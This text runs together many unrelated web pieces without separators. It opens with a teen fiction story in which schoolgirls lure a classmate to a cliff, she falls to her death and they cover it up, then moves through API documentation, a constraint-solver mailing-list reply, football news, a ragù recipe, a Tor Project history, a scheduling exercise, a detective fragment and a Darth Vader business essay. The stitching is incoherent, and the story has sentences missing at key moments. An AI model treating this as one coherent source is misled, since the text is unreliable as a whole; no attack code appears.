When the final classes of the day had finished, students hurried off to get a start on the rest of their day. Like most days, Shizuko lingered. She stayed behind for the simple fact that she didn’t want to get caught in the rush of students. That way she could avoid those awkward situations where she might bump into someone and have to utter an apology. But unlike most days, where Sayuri and her friends were among the first to make their escape, the four had stayed behind. They gave Shizuko quite the scare when they jumped out at her from around the corner of the hallway. “Hey, Shizuko, do you have plans?” asked Nami. “You want to go to the beach with us?” asked Aika. “I don’t know if I should,” replied Shizuko. “I’m not supposed to go anywhere after school. I’m supposed to go straight home.” “But the beach is so close,” said Nami. “You’ll be home in no time,” added Aika. Hana placed her hand on Shizuko’s shoulder. “Don’t you want to be our friend?” she asked, trying her best to sound as if the words coming out of her mouth had been formed out of sincerity and not from malice. Shizuko looked hesitant to answer as she took a moment to look at all the smiling faces around her. Oddly, the only face that wasn’t smiling was the one most familiar to her. Sayuri looked so miserable, and when Shizuko’s eyes met hers, Sayuri looked away. Even so, seeing Sayuri’s face was enough to make Shizuko smile. “Okay,” she replied. The girls wasted no time in catching the next bus headed for the beach. Hana, Nami, and Aika shared a seat at the front, while Sayuri and Shizuko shared one in the back. “Since transferring to your school, I was wondering when we would get a chance to hang out again,” said Shizuko, who wore a smile that looked so strangely out of place on her. “I’ve been wanting to talk to you, but you’re always with your friends, so I didn’t want to bother you. But now we get to be friends again.” “Why did you come back?” asked Sayuri. “After my mom died, my dad and I didn’t have a choice. My dad’s salary wasn’t enough to cover all of the medical bills. Even after selling our house, we still couldn’t get out of debt. We could barely afford the rent on a one bedroom apartment.  “I’m sorry.” Even from the back of the bus, Sayuri and Shizuko could hear the wild laughter coming from the others. Had Shizuko been able to look away from Sayuri, she surely would have seen that the laughter would come only after the others had taken peeks back at them. Sayuri had noticed the peeks, though. And she was well aware that the laughter was all at Shizuko’s expense. “It’s not so bad,” said Shizuko. “At our apartment I could only stare out the window, but at my aunt’s house I can lie on the grass and stare at the sky at night. I try to see how many stars I can count. I know it sounds dumb, that’s why I only count them on the nights where there aren’t that many. Remember how we used to do that when we were young? No matter how many I counted, you were always able to count more.” “That’s because I lied,” replied Sayuri. “I would always let you go first. That way I could just make up a bigger number.” “So that’s how you did it.” Shizuko then let out a small laugh, prompting Sayuri to do the same. It was happening gradually, but Sayuri was growing comfortable with Shizuko, making it feel as if their time apart had never taken place. Sure that the others were going to play a prank on Shizuko, Sayuri decided she would tell her friend before the others had the chance to make a fool out of her. “Hey, Shizuko,” said Sayuri. Before Sayuri could finish what she had to say, Hana popped up from behind the seat in front of them. “Hey, why aren’t you two sitting up front with the rest of us?” she asked. “You're making us feel left out.” “We were just talking,” replied Sayuri, a tremble in her voice. “We’re trying to figure out what we’re gonna eat after we go to the beach,” said Hana. “Nami wants donburi.  And I don’t want donburi either. So what do you two want?” “Can we have udon?” asked Shizuko. “Udon?” asked Hana. “How about you, Sayuri-chan? What do you want?” “I . . . don’t know,” replied Sayuri. “You can’t even choose what you want to eat?” asked Hana. “I thought a choice like that would be an easy one for you to make.” A short time later the girls arrived at the beach. Nami and Aika wasted no time in sprinting toward the sand, looking like a couple of children as they did so. “Hey, get back here!” demanded Hana. “We didn’t come here for that!” Both girls were smiling halfheartedly when they returned to Hana’s side. It was evident that having been yelled at had frightened them. Rather than frolicking by the surf, the girls led Shizuko down a narrow path just off to the side of the beach. They had insisted Shizuko cover her eyes with her hand to keep from spoiling the surprise that awaited her. To keep the girl from falling in her blind state, Nami and Aika guided her by the shoulders the whole way. “Where are we going?” asked Shizuko. “It’s a secret,” replied Nami. “So no peeking,” added Aika. “Stop right there,” said Hana when Nami and Aika had led Shizuko to the perfect spot. Shizuko was now standing only steps away from the edge of a cliff overlooking a grouping of jagged rocks below. “What are you doing?” Sayuri asked Hana when she found just how dangerous a prank the others had decided to pull on Shizuko. “You can look now,” said Hana. When Shizuko removed her hand from her eyes, she nearly lost her balance when she found herself near a fall that would most certainly lead to an untimely death. Before Shizuko could turn around or begin backing away from the cliff, Hana spoke up in a most unpleasant tone. “Hey, Shizuko-chan,” she yelled, stopping the girl. “Don’t turn around. You don’t want to know what'll happen if you do.” “What is this?” asked Shizuko. “You think you’re so high and mighty, don’t you?” asked Hana. “What makes you think you’re better than us?   “Why are you doing this?” asked Shizuko. “Please stop this,” said Sayuri, her voice barely loud enough for Hana to hear despite the fact that the two were standing next to each other. “What are you talking about?” asked Hana. “You knew we were going to do this.” “No, I didn’t.” “Dog breath!” Nami and Aika shouted in unison. Nami then picked up a rock and threw it at Shizuko, narrowly missing hitting her in the foot. Aika then threw a rock that hit Shizuko in the foot, nearly making the poor girl lose her balance. “Stupid, what are you doing?” whispered Nami. “It was an accident,” Aika whispered back. “Sayuri-chan,” whispered a sobbing Shizuko. “Why?” “Stop it,” exclaimed Sayuri, knocking the rocks out of Nami and Aika’s hands. “Whose side are you on?” asked Nami. “Yeah, we agreed that we were going to do this to her,” said Aika. “We’re all in this together. So stop acting so high and mighty.” “No, I never wanted to do this,” said Sayuri. “I’m nothing like you.”  The impact dazed the girl so badly that she lost her balance and fell over the edge of the cliff. Seeing this, everyone came to an immediate halt. It felt as if the world had stopped just for them and because of what they had done. “She lost her balance,” said Hana. “I didn’t have anything to do with it.” The girls ever so slowly made their way to the edge of the cliff.  “Shizuko!” screamed Sayuri. Unable to stomach such a sight, Nami ran off, but she was forced to bring her retreat to an abrupt halt when she began vomiting violently. Hana also ran from the edge. But she had only run off to collect Shizuko’s book bag. When she returned, Hana attempted to throw it off the cliff but Sayuri snatched the bag away from her before she could.  “We have to throw it over so it looks like an accident. If she doesn’t have her bag, the police will get suspicious.” “No, I won’t let you,” exclaimed Sayuri, holding the bag close to her chest as if it was her most cherished possession. “We need to get out of here,” said Aika, who was tending to Nami. “If somebody sees us, they’ll know we had something to do with this.” Hana stood chest to chest with Sayuri. “If anybody finds out about you having that bag, we’re all going to be executed,” she said.  I’m not going to die because of someone like her.” Hoping to establish an alibi, the girls hurried back to town and stopped in at the nearest restaurant. Hana insisted the girls eat despite their unsettled stomachs and act as if nothing out of the ordinary had taken place. As far as the other customers and staff were concerned, the four were just regular teenage girls spending a night out. “I don’t want donburi,” said Nami, who was fighting a losing battle to keep her tears at bay.  “You haven’t stopped whining since we got here. Do you want everyone to see you crying? If they see you, they’ll know something’s wrong.  You’re the one that wanted donburi, remember? You’re always complaining that we never do what you want. Well, now we’re doing something that you want.  Huh?” Hana had scolded Nami so loudly that some of the other customers couldn’t help but look in their direction. “Sorry,” said Hana, a polite smile on her face.  “So help me if they pull your DNA out of it.” “It’s okay,” said Aika. “I kicked dirt over it.” An ambulance sped by the restaurant. Its lights were flashing and its siren was blaring. The girls were noticeably startled by it. Acting as if the ambulance had done nothing to bother her, Hana began eating. Though she was ruthless, her hands were shaking visibly as she did so. As she had been doing since the group arrived at the restaurant, Sayuri kept her gaze on the floor. This prompted Hana to cast a most unpleasant glare at her. After their impromptu night out, the girls went their separate ways. Sayuri went straight to her room after making it home. What had happened to Shizuko played itself out over and over in Sayuri’s head. It wasn’t so much the blood on the rocks that disturbed her so nor was it the awkward positioning of Shizuko’s mangled limbs. It was her eyes. Every time that scene replayed in her mind, Sayuri couldn’t help but feel as if Shizuko was staring directly at her, making it seem as if the girl who had lost her life wanted to know why Sayuri would play a part in such a thing. Having made sure her door was locked, Sayuri opened Shizuko’s bag and began looking through it. At first glance, there looked to be nothing out of the ordinary inside. There was nothing but books and other school supplies. Sticking out of a book was a piece of paper. There was nothing odd about a piece of paper placed inside a book, but something compelled Sayuri to take it out. When she found what it was, a stabbing pain immediately inflicted itself upon the pit of Sayuri’s stomach. What she had found was a picture she had drawn years ago when she and Shizuko were in elementary school. It was of the two of them in a grassy field under a starry sky. Sayuri had given it to Shizuko after telling her she hoped the two would be friends forever. “Shizuko,” whispered a now sobbing Sayuri. It was immediately after calling her friend’s name when a floorboard creaked. Sayuri was hesitant to turn around, thinking her mother had entered through a door that hadn’t been properly locked. If that was so, then she surely would have heard Sayuri speak the name that would soon be referenced numerous times in newspapers and on news broadcasts. Mustering the courage, Sayuri turned around but found no one there.


Returns a tensor with random binomial distribution of values.
tf.compat.v1.keras.backend.random_binomial
tf.compat.v2.keras.backend.random_binomial
tf.keras.backend.random_binomial( shape, p=0.0, dtype=None, seed=None )
The binomial distribution with parameters n
and p
is the probability
distribution of the number of successful Bernoulli process. Only supports
n
= 1 for now.
shape
: A tuple of integers, the shape of tensor to create.p
: A float, 0. <= p <= 1
, probability of binomial distribution.dtype
: String, dtype of returned tensor.seed
: Integer, random seed.A tensor.


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[gecode-users] probability to apply constraint
Christian Schulte
cschulte at kth.se
Mon Jun 9 15:59:59 CEST 2014
Hi, Sorry that is not possible and I cannot see how to model it easily. Best Christian
--
Christian Schulte, Professor of Computer Science, KTH, www.ict.kth.se/~cschulte/
From: users-bounces at gecode.org [mailto:users-bounces at gecode.org] On Behalf Of Richard Portelli
Sent: Monday, June 09, 2014 2:48 PM
To: users at gecode.org
Subject: [gecode-users] probability to apply constraint
Hello,
Is it possible to apply a constraint with a probability associated?
For example I have an array of 10 integers which has two constraint :
1) The sum should be equal to 100;
2) The numbers of even array index should be equal to 0.
To the 2) constraint, I would like to add a probability saying that the constraint apply in 80% of the cases.
I know that what could work would be for each even array index to pick a number between 0 and 100 and apply the rule dynamically depending on the number picked (<80 -> apply, otherwise doesn'y apply).
However, I would like to know if there would be a more elegant way.
Cheers
Richard
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Gets or sets the column targeted by the filter to add.
Gets or sets the column targeted by the filter to add.
Gets or sets the table targeted by the filter to add.
Gets or sets the table targeted by the filter to add.
Gets or sets the filter target of a filter to add. Expected values are Report or Page.
Gets or sets the filter target of a filter to add. Expected values are Report or Page.
Gets or sets the filter value of a filter to add
Gets or sets the filter value of a filter to add
Gets or sets the report viewer component to interact with.
Gets or sets the report viewer component to interact with.
Adds a report filter. For a complete guide to setting filters see the following wiki page https://github.com/Microsoft/PowerBI-JavaScript/wiki/Filters
Clears all report filters.
Resets the filters.
Generated using TypeDoc
Implements a component to filter a report for a given report viewer.
ReportFilter


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Arsenal were close to signing Valverde
by BeSoccerThe Real Madrid midfielder is having a good time under Zinedine Zidane without forgetting the fact that it could be different if he had signed for Arsenal.
It seems like the Real Madrid coach have found the best fortmula in midfield and one of their men is Fede Valverde. The Uruguayan is getting closer and closer to the amount of minutes he played last term.
He is giving Zidane reason to play him in the first team three years after joining Real Madrid from Penarol at the age of 17. At Castilla, he played 30 games and scored three goals.
Featured links
- Ballon d'Or winner already been decided
- The latest football transfers news and rumours
- Possible 'Clasico' in the Spanish Supercup final
- Who has the most free-kicks goals: Messi or Cristiano?
According to 'AS', Fede Valverde could have been elsewhere. In summer 2014, Arsenal's Wenger made an offer for him and he asked him to come to Arsenal for a week.
Everything was more or less sealed until Rodolfo Catino came along from Penarol. They asked more money for him than Arsenal and so Fede Valverde's move was halted.
Just six months later, the midfielder signed for Real Madrid and he has not looked back.


{% extends 'base_site.html' %} {% block head_title %}Confirm deletion{% endblock head_title %} {% block content %}
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#include <stdlib.h>
Go to the source code of this file.
Data Structures | |
| struct | Colamd_Col_struct |
| struct | Colamd_Row_struct |
Defines | |
| #define | COLAMD_KNOBS 20 |
| #define | COLAMD_STATS 20 |
| #define | COLAMD_DENSE_ROW 0 |
| #define | COLAMD_DENSE_COL 1 |
| #define | COLAMD_DEFRAG_COUNT 2 |
| #define | COLAMD_STATUS 3 |
| #define | COLAMD_INFO1 4 |
| #define | COLAMD_INFO2 5 |
| #define | COLAMD_INFO3 6 |
| #define | COLAMD_OK (0) |
| #define | COLAMD_OK_BUT_JUMBLED (1) |
| #define | COLAMD_ERROR_A_not_present (-1) |
| #define | COLAMD_ERROR_p_not_present (-2) |
| #define | COLAMD_ERROR_nrow_negative (-3) |
| #define | COLAMD_ERROR_ncol_negative (-4) |
| #define | COLAMD_ERROR_nnz_negative (-5) |
| #define | COLAMD_ERROR_p0_nonzero (-6) |
| #define | COLAMD_ERROR_A_too_small (-7) |
| #define | COLAMD_ERROR_col_length_negative (-8) |
| #define | COLAMD_ERROR_row_index_out_of_bounds (-9) |
| #define | COLAMD_ERROR_out_of_memory (-10) |
| #define | COLAMD_ERROR_internal_error (-999) |
| #define | COLAMD_C(n_col) ((int) (((n_col) + 1) * sizeof (Colamd_Col) / sizeof (int))) |
| #define | COLAMD_R(n_row) ((int) (((n_row) + 1) * sizeof (Colamd_Row) / sizeof (int))) |
| #define | COLAMD_RECOMMENDED(nnz, n_row, n_col) |
Typedefs | |
| typedef struct Colamd_Col_struct | Colamd_Col |
| typedef struct Colamd_Row_struct | Colamd_Row |
Functions | |
| int | colamd_recommended (int nnz, int n_row, int n_col) |
| void | colamd_set_defaults (double knobs[COLAMD_KNOBS]) |
| int | colamd (int n_row, int n_col, int Alen, int A[], int p[], double knobs[COLAMD_KNOBS], int stats[COLAMD_STATS]) |
| int | symamd (int n, int A[], int p[], int perm[], double knobs[COLAMD_KNOBS], int stats[COLAMD_STATS], void *(*allocate)(size_t, size_t), void(*release)(void *)) |
| void | colamd_report (int stats[COLAMD_STATS]) |
| void | symamd_report (int stats[COLAMD_STATS]) |
========================================================================== === colamd/symamd prototypes and definitions ============================= ==========================================================================
You must include this file (colamd.h) in any routine that uses colamd, symamd, or the related macros and definitions.
Authors:
The authors of the code itself are Stefan I. Larimore and Timothy A. Davis (davis@cise.ufl.edu), University of Florida. The algorithm was developed in collaboration with John Gilbert, Xerox PARC, and Esmond Ng, Oak Ridge National Laboratory.
Date:
September 8, 2003. Version 2.3.
Acknowledgements:
This work was supported by the National Science Foundation, under grants DMS-9504974 and DMS-9803599.
Notice:
Copyright (c) 1998-2003 by the University of Florida. All Rights Reserved.
THIS MATERIAL IS PROVIDED AS IS, WITH ABSOLUTELY NO WARRANTY EXPRESSED OR IMPLIED.
Permission is hereby granted to use, copy, modify, and/or distribute this program, provided that the Copyright, this License, and the Availability of the original version is retained on all copies and made accessible to the end-user of any code or package that includes COLAMD or any modified version of COLAMD.
Availability:
The colamd/symamd library is available at
http://www.cise.ufl.edu/research/sparse/colamd/
This is the http://www.cise.ufl.edu/research/sparse/colamd/colamd.h file. It is required by the colamd.c, colamdmex.c, and symamdmex.c files, and by any C code that calls the routines whose prototypes are listed below, or that uses the colamd/symamd definitions listed below.
| #define COLAMD_C | ( | n_col | ) | ((int) (((n_col) + 1) * sizeof (Colamd_Col) / sizeof (int))) |
| #define COLAMD_DEFRAG_COUNT 2 |
| #define COLAMD_DENSE_COL 1 |
| #define COLAMD_DENSE_ROW 0 |
| #define COLAMD_ERROR_A_not_present (-1) |
| #define COLAMD_ERROR_A_too_small (-7) |
| #define COLAMD_ERROR_col_length_negative (-8) |
| #define COLAMD_ERROR_internal_error (-999) |
| #define COLAMD_ERROR_ncol_negative (-4) |
| #define COLAMD_ERROR_nnz_negative (-5) |
| #define COLAMD_ERROR_nrow_negative (-3) |
| #define COLAMD_ERROR_out_of_memory (-10) |
| #define COLAMD_ERROR_p0_nonzero (-6) |
| #define COLAMD_ERROR_p_not_present (-2) |
| #define COLAMD_ERROR_row_index_out_of_bounds (-9) |
| #define COLAMD_INFO1 4 |
| #define COLAMD_INFO2 5 |
| #define COLAMD_INFO3 6 |
| #define COLAMD_KNOBS 20 |
| #define COLAMD_OK (0) |
| #define COLAMD_OK_BUT_JUMBLED (1) |
| #define COLAMD_R | ( | n_row | ) | ((int) (((n_row) + 1) * sizeof (Colamd_Row) / sizeof (int))) |
| #define COLAMD_RECOMMENDED | ( | nnz, | |||
| n_row, | |||||
| n_col | ) |
| #define COLAMD_STATS 20 |
| #define COLAMD_STATUS 3 |
| typedef struct Colamd_Col_struct Colamd_Col |
| typedef struct Colamd_Row_struct Colamd_Row |
| int colamd | ( | int | n_row, | |
| int | n_col, | |||
| int | Alen, | |||
| int | A[], | |||
| int | p[], | |||
| double | knobs[COLAMD_KNOBS], | |||
| int | stats[COLAMD_STATS] | |||
| ) |
| int colamd_recommended | ( | int | nnz, | |
| int | n_row, | |||
| int | n_col | |||
| ) |
| void colamd_report | ( | int | stats[COLAMD_STATS] | ) |
| void colamd_set_defaults | ( | double | knobs[COLAMD_KNOBS] | ) |
| int symamd | ( | int | n, | |
| int | A[], | |||
| int | p[], | |||
| int | perm[], | |||
| double | knobs[COLAMD_KNOBS], | |||
| int | stats[COLAMD_STATS], | |||
| void *(*)(size_t, size_t) | allocate, | |||
| void(*)(void *) | release | |||
| ) |
| void symamd_report | ( | int | stats[COLAMD_STATS] | ) |


Preparation time
less than 30 mins
Cooking time
over 2 hours
Serves
Serves 4
Ragù is the perfect example of Bolognese cooking: rich yet well balanced, lavish yet restrained, meaty yet fresh-tasting. This recipe follows closely the precepts of a classic ragù, but is lighter on fat. It is important to chop the vegetables finely, so that they are the size of grains of rice.
Heat the butter and oil in a heavy-based saucepan. Add the garlic and cook for 1 minute, then remove it. Add the pancetta and cook for 5 minutes, stirring often. Add the onion and, when it begins to soften, stir in the carrot, celery and bay. Cook for 10 minutes, stirring often.
Add the beef, turn the heat up to high and cook until medium-brown and nearly crisp, crumbling it in the pot using a fork. You need a high heat so that the meat browns rather than stews, but be careful not to let it become too brown and hard.
Add the tomato purée and cook for 2 minutes. Add the wine, nutmeg and stock. Bring to the boil, then turn the heat down to very low, so that the mixture reduces very slowly.
Set the lid askew over the pan and cook for about 2 hours, adding a couple of tablespoons of milk from time to time. By the end all the milk should have been added and absorbed, and the ragù should be rich with the texture of thick soup.
Taste and adjust the seasoning. The ragù is now ready. Boil the tagliatelle and serve with the ragù.


Loft Deploy supports up to three directories of non-versioned files as part of the files fetch/pull operation. This is ample to cover Drupal's concept of public and private directories, with one more directory to spare.
Be sure that the prod and staging directories map to the correct files path to local, e.g. prod:local_files2 maps to local:local_files2 and so on.
| config var | rsync exclusion file |
|---|---|
| local_files | files_exclude.txt |
| local_files2 | files2_exclude.txt |
| local_files3 | files3_exclude.txt |
You may set Loft Deploy to ignore certain user files by creating a file .loft_deploy/files_exclude.txt. This will be used by the rsync program as an --exclude-from
argument. Notice that you will need to use files2_exclude.txt and files3_exclude.txt to target files in those other directories, if necessary.
Some highlights from the rsync
documentation:
There appears to be a shortcoming with filenames that contain special chars. The file sync may not work in this case. Easiest fix is to insure filenames do not have special chars, like accents, etc.


About TOR
The Tor Project, Inc, became a 501(c)3 nonprofit in 2006, but the idea of "onion routing" began in the mid 1990s. Just like Tor users, the developers, researchers, and founders who've made Tor possible are a diverse group of people. But all of the people who have been involved in Tor are united by a common belief: internet users should have private access to an uncensored web. In the 1990s, the lack of security on the internet and its ability to be used for tracking and surveillance was becoming clear, and in 1995, David Goldschlag, Mike Reed, and Paul Syverson at the U.S. Naval Research Lab (NRL) asked themselves if there was a way to create internet connections that don't reveal who is talking to whom, even to someone monitoring the network. Their answer was to create and deploy the first research designs and prototypes of onion routing. The goal of onion routing was to have a way to use the internet with as much privacy as possible, and the idea was to route traffic through multiple servers and encrypt it each step of the way. This is still a simple explanation for how Tor works today. In the early 2000s, Roger Dingledine, a recent Massachusetts Institute of Technology (MIT) graduate, began working on an NRL onion routing project with Paul Syverson. To distinguish this original work at NRL from other onion routing efforts that were starting to pop up elsewhere, Roger called the project Tor, which stood for The Onion Routing. Nick Mathewson, a classmate of Roger's at MIT, joined the project soon after. From its inception in the 1990s, onion routing was conceived to rely on a decentralized network. The network needed to be operated by entities with diverse interests and trust assumptions, and the software needed to be free and open to maximize transparency and separation. That's why in October 2002 when the Tor network was initially deployed, its code was released under a free and open software license. By the end of 2003, the network had about a dozen volunteer nodes, mostly in the U.S., plus one in Germany. Recognizing the benefit of Tor to digital rights, the Electronic Frontier Foundation (EFF) began funding Roger's and Nick's work on Tor in 2004. In 2006, the Tor Project, Inc., a 501(c)3 nonprofit organization, was founded to maintain Tor's development. In 2007, the organization began developing bridges to the Tor network to address censorship, such as the need to get around government firewalls, in order for its users to access the open web. Tor began gaining popularity among activists and tech-savvy users interested in privacy, but it was still difficult for less-technically savvy people to use, so starting in 2005, development of tools beyond just the Tor proxy began. Development of Tor Browser began in 2008. With Tor Browser having made Tor more accessible to everyday internet users and activists, Tor was an instrumental tool during the Arab Spring beginning in late 2010. It not only protected people's identity online but also allowed them to access critical resources, social media, and websites which were blocked. The need for tools safeguarding against mass surveillance became a mainstream concern thanks to the Snowden revelations in 2013. Not only was Tor instrumental to Snowden's whistleblowing, but content of the documents also upheld assurances that, at that time, Tor could not be cracked. People's awareness of tracking, surveillance, and censorship may have increased, but so has the prevalence of these hindrances to internet freedom. Today, the network has thousands of relays run by volunteers and millions of users worldwide. And it is this diversity that keeps Tor users safe. We, at the Tor Project, fight every day for everyone to have private access to an uncensored internet, and Tor has become the world's strongest tool for privacy and freedom online. But Tor is more than just software. It is a labor of love produced by an international community of people devoted to human rights. The Tor Project is deeply committed to transparency and the safety of its users.


McCarthy: I Don't Know if Democrats Will Have Votes to Move on Impeachment | Breitbart
by Ian HanchettOn Thursday’s broadcast of the Fox Business Network’s “Lou Dobbs Tonight,” House Minority Leader Kevin McCarthy (R-CA) wondered whether Democrats will have enough votes to impeach the president after the public impeachment hearings.
McCarthy said, “I wonder if the Democrats will even have the votes to move impeachment now.”
He later added, “I will tell you today, after watching these two weeks of hearings, I don’t know if it’s even going to get to the Senate.”
Follow Ian Hanchett on Twitter @IanHanchett


Schwarzchild Black Hole
By
Damon Binder
This simulates a supermassive black hole, with a mass of 10 million suns
You need a modern browser which supports HTML5 canvas to view this.
Your time:

Universe time:


◆ Check()
| Api.NumberVerify.CheckResponse Nexmo.Api.ClientMethods.NumberVerify.Check |
( |
Api.NumberVerify.CheckRequest |
request, |
|
|
Credentials |
creds = null |
|
) |
| |
Number Verify: Confirm that the PIN you received from your user matches the one sent by Nexmo as a result of your Verify Request.
- Parameters
-
| request | Check request |
| creds | (Optional) Overridden credentials for only this request |
- Returns
- Exceptions
-
| NexmoHttpRequestException | thrown if an error is encountered when talking to the API |
| VerifyResponseException | Sent if response received from request was non-zero |
◆ Control()
| Api.NumberVerify.ControlResponse Nexmo.Api.ClientMethods.NumberVerify.Control |
( |
Api.NumberVerify.ControlRequest |
request, |
|
|
Credentials |
creds = null |
|
) |
| |
Number Verify: Control the progress of your Verify Requests.
- Parameters
-
| request | Control request |
| creds | (Optional) Overridden credentials for only this request |
- Returns
- Exceptions
-
| NexmoHttpRequestException | thrown if an error is encountered when talking to the API |
| VerifyResponseException | Sent if response received from request was non-zero |
◆ Search()
| Api.NumberVerify.SearchResponse Nexmo.Api.ClientMethods.NumberVerify.Search |
( |
Api.NumberVerify.SearchRequest |
request, |
|
|
Credentials |
creds = null |
|
) |
| |
Number Verify: Lookup the status of one or more requests.
- Parameters
-
| request | Search request |
| creds | (Optional) Overridden credentials for only this request |
- Returns
- Exceptions
-
| NexmoHttpRequestException | thrown if an error is encountered when talking to the API |
◆ Verify()
| Api.NumberVerify.VerifyResponse Nexmo.Api.ClientMethods.NumberVerify.Verify |
( |
Api.NumberVerify.VerifyRequest |
request, |
|
|
Credentials |
creds = null |
|
) |
| |
Number Verify: Generate and send a PIN to your user. You use the request_id in the response for the Verify Check.
- Parameters
-
| request | Verify request |
| creds | (Optional) Overridden credentials for only this request |
- Returns
- Exceptions
-
| NexmoHttpRequestException | thrown if an error is encountered when talking to the API |
| VerifyResponseException | Sent if response received from request was non-zero |
The documentation for this class was generated from the following file:
- C:/Users/slore/Documents/projects/slorello89/nexmo-dotnet/Nexmo.Api/Client/NumberVerify.cs


Chambers and Enclosures
S.V. Techsol designs and manufactures custom, equipment enclosures, environmental chambers, and mini environments for semiconductor and pharmaceutical applications. Our unique custom designs allow you to create the unit for your exact requirements without having to fit a preassembled chamber or enclosure into your existing environment.
Equipment Enclosures
S.V. Techsol designs and manufactures custom equipment enclosures for semiconductor and pharmaceutical applications. Equipment enclosures are stand alone units that enclose a tool inside a cleanroom offering a cleaner manufacturing area therefore producing higher product yields. S.V. Techsol can design various types and sizes of equipment enclosures.
Environment Chambers
S.V. Techsol designs and manufactures custom environmental chambers for semiconductor and pharmaceutical applications. Our environmental chambers ensure that your temperature and humidity requirements stay within specification for production, testing or storage. S.V. Techsol can design various types and sizes of environmental chambers. Our unique custom designs allow you to create the unit for your exact requirements without having to fit a preassembled environment chamber into your existing environment. The following list is a few examples of specifications that can be designed into an environmental chamber.
- Various Sizes
- Various Design Types
- Reach In
- Door Access
- Mounted onto another tool
- Materials
- Stainless Steel
- Extruded Aluminium
- Formed Aluminium
- Cold Rolled Steel
- Plastic
- Finishes
- Paint (Conductive, Powder or Wet )
- Various Plating Options (electro-polish)
- Shelf area or racks
- Temperature stability and uniformity
- Temperature range 4°C to 70°C
- Humidity stability and uniformity
- Various input power options
- Programmable controls
- Door types
- Alarms and safety locks


The scheduling algorithm is priority
Given exercice processes data, answer the questions:
| Process | Priority | Response Time |
Wait Time |
Duration Time |
| P1 | Preemptive | |||
| P2 | Preemptive | |||
| P1 | Non preemptive | |||
| P2 | Non preemptive |
| Process | Burst duration (CPU) |
Priority | Submission Time |
| P1 | 7 | 9 | 0 |
| P2 | 2 | 10 | 2 |


 A quick stop to Louise's house before going to Jean Barrow. I knock the door two, three times and finally she opens. She is beautiful as always, wearing a lingerie but her words are sharp, makes me feel like crashing on a wall with 62mph. Louise: What you want here?
• I know it all Louise, Barrow family has depths and probably unfinished bushiness with the mob. Also, we both know you are involved in sexual scandals, later used by the mob to manipulate certain people.
Louise: Trust me, I haven't involved the mob here. I was for my own. Somehow I believe her, the words coming out of her mouth are so genuine. Detective: I think I can believe you this time and put something on, you may catch a cold. I walk away from this woman. It's too "dangerous" to be alone with her for too much... Louise: Bye baby. Her goodbye echoed in my ears until I turned left. • Barrow, your turn now!


[t]We are sorry, but the form isn't filled accordingly to instructions.[/t]
[t]You can move back, modify your answers and resend them again.[/t]


He cut off his son’s hand. He choked his management team. He threw his boss down a ventilation shaft. Darth Vader was a crappy father, an uninspiring leader, and a nightmare employee.
But what if Obi-Wan and Liam Neeson had never found the young Anakin Skywalker on Tatooine so long ago? What if that adorable
little kid had simply grown up in the desert and started his own business? Could he have been a successful entrepreneur?
Judging from how he ran his department at the Empire, it’s clear his startup would have turned to the dark side—as in lights out,
no more money, everyone go home. His actions as Sith Lord reveal a host of critical errors that business leaders today,
in this galaxy, must try to avoid.
During the startup frenzy following the dissolution of the Old Republic, Imperial investment dollars flowed to Vader and his management team. Their one-word pitch was “Fear.” Their product a docile and compliant populace enabling their bold vision: A mighty Galactic Empire. All presented in 10 Powerpoint slides.
Their mission statement was short and sweet: Crush the Rebellion. Taking their pitch to heart, the marketing department dubbed their first product “the Empire’s ultimate weapon, with enough power to destroy an entire planet.” A clear value proposition, laser-focused for a large target audience. BOOM.
Yet as the team was making the final push toward the release of Death Star 1.0, where was their fearless leader? He should be asking tough questions and considering known risks. He should be encouraging them and communicating clear expectations and priorities.
But rather than focusing on the one thing most critical to the venture’s success — a technological terror they should all be proud of — Darth Vader was not even in his office.
Instead of driving execution, he was far away, huffing and puffing on board the Imperial Star Destroyer Devastator chasing Princess Leia through deep space.
He should have been focusing on his team and their mission.
Instead, Vader was worrying about the competition.
Don't Worry About the Competition
What are the Rebels planning? Are they trying to steal my ideas? Understanding what others in the market are doing (or might do) is important when developing your strategy. But unless a market change invalidates that strategy, you are just wasting time and energy that should be spent on execution of your plan.
Ideas and strategy are meaningless without execution. Execute, execute, execute.
You Worry About You
So what if the competition has stolen plans to your battle station? When you focus on your team, on your product, on your customers, you will find your weaknesses like open holes leading to the reactor core before they do. Don’t worry about what bullets your competitors may have—worry about becoming bulletproof.
Vader did not stay on target. The business blew up spectacularly, leaving investors and the entire organization in the dust.
A Little Rebellion Goes a Long Way
While the end may have come more abruptly than even an astute analyst would have predicted, Vader’s top-down-choke-you-from-way-over-here-with-my-fingers approach created a culture that would not last long in any galaxy.
Never question your superiors. Do exactly what you’re told. Risk will not be rewarded. In organizations like Vader’s, workers will inevitably (often inadvertently) sow the seeds of their own demise. While capturing Leia, Vader ordered gunners on the Devastator to blast anyone fleeing her disabled ship. Yet when the escape pod carrying C3P0 and R2D2 (and the stolen plans) floated through their crosshairs en route to the planet below, they let them go, because sensors indicated there were “no life forms” aboard. An empowered team would have been less literal, firing away and ending our hero’s journey before it even began.
You could perhaps argue the gunners were simply doing their part to cut expenses and lower burn rate. Maybe their laser machine was running low on laser juice. Perhaps, but their decision did not take place in a vacuum. Actually it DID occur in a vacuum because SPACE HUMOR but LET’S MOVE ON.
Not long after the droids escaped, a search began on the planet’s surface. Vader’s team quickly found them hanging out with an old man and a ratty kid, headed to the spaceport. And then… they let them go.
We cannot blame the supervisor who succumbs to Obi-wan’s Jedi mind trick. After all, it’s Jedi. And it’s a trick. He is forced to repeat Obi-wan’s words to his subordinates, who say nothing. “These are not the droids we are looking for. Move along.”
And off they went. But this call and response took place in full view of his team. These are obviously the droids they are looking for. There’s the skinny gold one and there’s the little recycling bin. Why didn’t someone speak up and question the boss’s decision to let them go?
Vader’s organization valued obedience over results. Rather than a virtuous cycle of continuous improvement, we see a downward spiral of employee disengagement.
 As a startup leader, passionate commitment to your vision is not enough. You can’t do everything yourself. Issuing direct commands rather than encouraging innovation is a seductive approach to keeping the team focused—and it’s a trap (you knew that was coming, didn’t you). Better to lead through clear priorities, key metrics and empowered individuals than sheer force of will. Innovation over immolation.
Despite being flush with cash and snappy (though oddly not laser-proof) uniforms, Vader’s organization failed to achieve their Imperial goals. Attacked by a nimble competitor that valued innovation and individuals empowered to try new things in new ways, their weaknesses were found and exploited before they could react. Vader’s refusal to delegate led to the sudden forced liquidation of all company assets and eliminated over one million jobs without warning.
Clear priorities, continuous improvement and focused execution will give your team its power. A shared vision will surround your team and bind them together.
Little Anakin underestimated the power of this approach, and his ventures big or small were doomed to fail. What will you do? What could your team become?
Originally posted at ExitEvent


